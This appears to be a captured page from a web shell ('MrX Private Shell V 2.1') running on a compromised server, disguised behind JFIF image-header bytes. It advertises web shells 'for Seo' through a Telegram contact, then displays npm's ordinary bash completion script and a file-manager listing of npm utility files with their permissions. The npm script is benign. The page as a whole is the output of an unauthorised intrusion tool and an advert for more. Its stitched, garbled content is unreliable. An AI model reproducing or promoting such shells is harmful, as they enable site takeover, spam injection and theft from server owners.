����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/bin/bash
###-begin-npm-completion-###
#
# npm command completion script
#
# Installation: npm completion >> ~/.bashrc (or ~/.zshrc)
# Or, maybe: npm completion > /usr/local/etc/bash_completion.d/npm
#
if type complete &>/dev/null; then
_npm_completion () {
local words cword
if type _get_comp_words_by_ref &>/dev/null; then
_get_comp_words_by_ref -n = -n @ -n : -w words -i cword
else
cword="$COMP_CWORD"
words=("${COMP_WORDS[@]}")
fi
local si="$IFS"
if ! IFS=$'\n' COMPREPLY=($(COMP_CWORD="$cword" \
COMP_LINE="$COMP_LINE" \
COMP_POINT="$COMP_POINT" \
npm completion -- "${words[@]}" \
2>/dev/null)); then
local ret=$?
IFS="$si"
return $ret
fi
IFS="$si"
if type __ltrim_colon_completions &>/dev/null; then
__ltrim_colon_completions "${words[cword]}"
fi
}
complete -o default -F _npm_completion npm
elif type compdef &>/dev/null; then
_npm_completion() {
local si=$IFS
compadd -- $(COMP_CWORD=$((CURRENT-1)) \
COMP_LINE=$BUFFER \
COMP_POINT=0 \
npm completion -- "${words[@]}" \
2>/dev/null)
IFS=$si
}
compdef _npm_completion npm
elif type compctl &>/dev/null; then
_npm_completion () {
local cword line point words si
read -Ac words
read -cn cword
let cword-=1
read -l line
read -ln point
si="$IFS"
if ! IFS=$'\n' reply=($(COMP_CWORD="$cword" \
COMP_LINE="$line" \
COMP_POINT="$point" \
npm completion -- "${words[@]}" \
2>/dev/null)); then
local ret=$?
IFS="$si"
return $ret
fi
IFS="$si"
}
compctl -K _npm_completion npm
fi
###-end-npm-completion-###
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| completion | Folder | 0755 |
|
|
| config | Folder | 0755 |
|
|
| ansi-trim.js | File | 173 B | 0644 |
|
| audit-error.js | File | 1.02 KB | 0644 |
|
| auth.js | File | 2.8 KB | 0644 |
|
| cmd-list.js | File | 2.16 KB | 0644 |
|
| completion.fish | File | 1.56 KB | 0644 |
|
| completion.sh | File | 1.85 KB | 0755 |
|
| did-you-mean.js | File | 1.46 KB | 0644 |
|
| display.js | File | 3.43 KB | 0644 |
|
| error-message.js | File | 13.53 KB | 0644 |
|
| exit-handler.js | File | 6.74 KB | 0644 |
|
| explain-dep.js | File | 3.5 KB | 0644 |
|
| explain-eresolve.js | File | 2.55 KB | 0644 |
|
| format-bytes.js | File | 629 B | 0644 |
|
| format-search-stream.js | File | 3.93 KB | 0644 |
|
| get-identity.js | File | 802 B | 0644 |
|
| is-windows.js | File | 233 B | 0644 |
|
| log-file.js | File | 7.03 KB | 0644 |
|
| log-shim.js | File | 1.68 KB | 0644 |
|
| npm-usage.js | File | 2.04 KB | 0644 |
|
| open-url-prompt.js | File | 1.44 KB | 0644 |
|
| open-url.js | File | 1.09 KB | 0644 |
|
| otplease.js | File | 1.23 KB | 0644 |
|
| ping.js | File | 252 B | 0644 |
|
| pulse-till-done.js | File | 412 B | 0644 |
|
| queryable.js | File | 9.56 KB | 0644 |
|
| read-user-info.js | File | 2 KB | 0644 |
|
| reify-finish.js | File | 876 B | 0644 |
|
| reify-output.js | File | 4.97 KB | 0644 |
|
| replace-info.js | File | 807 B | 0644 |
|
| tar.js | File | 3.9 KB | 0644 |
|
| timers.js | File | 2.73 KB | 0644 |
|
| update-notifier.js | File | 4.19 KB | 0644 |
|
| validate-lockfile.js | File | 1023 B | 0644 |
|
| web-auth.js | File | 558 B | 0644 |
|